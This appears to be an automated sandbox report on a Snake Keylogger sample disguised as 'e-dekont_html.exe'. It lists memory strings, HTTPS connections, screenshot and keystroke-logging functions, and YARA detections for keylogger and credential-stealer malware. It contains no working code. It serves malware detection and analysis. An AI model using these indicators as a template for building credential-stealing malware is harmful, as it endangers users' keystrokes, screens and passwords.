Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002DE0000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E0B000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E50000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.000000000331A000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75$
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E99000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E70000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EE5000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004014000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EBD000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004137000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004061000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004647000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004571000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043F4000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004523000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000437F000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: e-dekont_html.exe, 00000008.00000002.4169157251.0000000003FEF000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EC0000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E76000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.000000000401A000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004112000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E4B000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004386000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000435B000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004622000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000044FF000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000452A000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E99000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E70000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EE5000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004014000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EBD000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004137000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004061000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004647000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004571000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043F4000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004523000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000437F000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: e-dekont_html.exe, 00000008.00000002.4169157251.0000000003FEF000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EC0000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E76000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.000000000401A000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004112000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E4B000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004386000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000435B000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004622000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000044FF000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000452A000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003494000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002F75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/X~
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002F7F000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.000000000348F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lBfq

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 61289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61285
Source: unknown	Network traffic detected: HTTP traffic on port 61290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61282
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61283
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61283 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:61282 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:61290 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, COVID19.cs	.Net Code: TakeScreenshot
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, COVID19.cs	.Net Code: TakeScreenshot

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, COVID19.cs	.Net Code: VKCodeToUnicode
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, COVID19.cs	.Net Code: VKCodeToUnicode

System Summary

Malicious sample detected (through community Yara rule)

Source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_012BD57C	0_2_012BD57C
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_076B6508	0_2_076B6508
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_076B0740	0_2_076B0740
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_076B0C50	0_2_076B0C50
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_08F00040	0_2_08F00040
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_08F034B8	0_2_08F034B8
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_08F0EAE0	0_2_08F0EAE0
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_08F0EF19	0_2_08F0EF19
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_08F0F360	0_2_08F0F360
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_08F034A8	0_2_08F034A8
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_08F06673	0_2_08F06673
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 0_2_08F06678	0_2_08F06678
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BED278	8_2_02BED278
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BE5362	8_2_02BE5362
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BE7118	8_2_02BE7118
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BEC147	8_2_02BEC147
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BEC738	8_2_02BEC738
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BEC468	8_2_02BEC468
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BECA08	8_2_02BECA08
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BE69A0	8_2_02BE69A0
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BEE988	8_2_02BEE988
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BECFAA	8_2_02BECFAA
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BECCD8	8_2_02BECCD8
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BE9DE0	8_2_02BE9DE0
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BEF631	8_2_02BEF631
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BEFA88	8_2_02BEFA88
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BE29E0	8_2_02BE29E0
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BEE97A	8_2_02BEE97A
Source: C:\Users\user\Desktop\e-dekont_html.exe	Code function: 8_2_02BE3E09	8_2_02BE3E09
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 9_2_02B6D57C	9_2_02B6D57C
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 9_2_07232106	9_2_07232106
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 9_2_072334B8	9_2_072334B8
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 9_2_07236669	9_2_07236669
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 9_2_07236678	9_2_07236678
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 9_2_0723EF28	9_2_0723EF28
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 9_2_0723EAF0	9_2_0723EAF0
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 9_2_072334A8	9_2_072334A8
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 9_2_0723F360	9_2_0723F360
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 9_2_07255788	9_2_07255788
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 9_2_07250740	9_2_07250740
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 9_2_07250C50	9_2_07250C50
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_0159C146	13_2_0159C146
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_01595362	13_2_01595362
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_0159D278	13_2_0159D278
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_0159C468	13_2_0159C468
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_0159C738	13_2_0159C738
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_0159E988	13_2_0159E988
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_015969A0	13_2_015969A0
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_01593B95	13_2_01593B95
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_0159CA08	13_2_0159CA08
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_01599DE0	13_2_01599DE0
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_0159CCD8	13_2_0159CCD8
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_01596FC8	13_2_01596FC8
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_0159CFAA	13_2_0159CFAA
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_01593E09	13_2_01593E09
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_0159F631	13_2_0159F631
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_0159E97A	13_2_0159E97A
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_015929EC	13_2_015929EC
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_0159FA88	13_2_0159FA88
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 13_2_01593AA1	13_2_01593AA1

Source: e-dekont_html.exe, 00000000.00000002.1764677520.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1777940710.0000000007740000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1769422089.0000000002D08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1776779283.0000000005E80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1769422089.0000000002C41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1778649683.0000000008C6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003EDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs e-dekont_html.exe
Source: e-dekont_html.exe, 00000008.00000002.4158733211.0000000000EF7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs e-dekont_html.exe
Source: e-dekont_html.exe	Binary or memory string: OriginalFilenamebbvK.exeP vs e-dekont_html.exe

Source: e-dekont_html.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.e-dekont_html.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.e-dekont_html.exe.3d1e770.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.e-dekont_html.exe.3cdb750.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: e-dekont_html.exe PID: 3756, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: e-dekont_html.exe PID: 7308, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: e-dekont_html.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: fahKSvwo.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, COVID19.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, COVID19.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
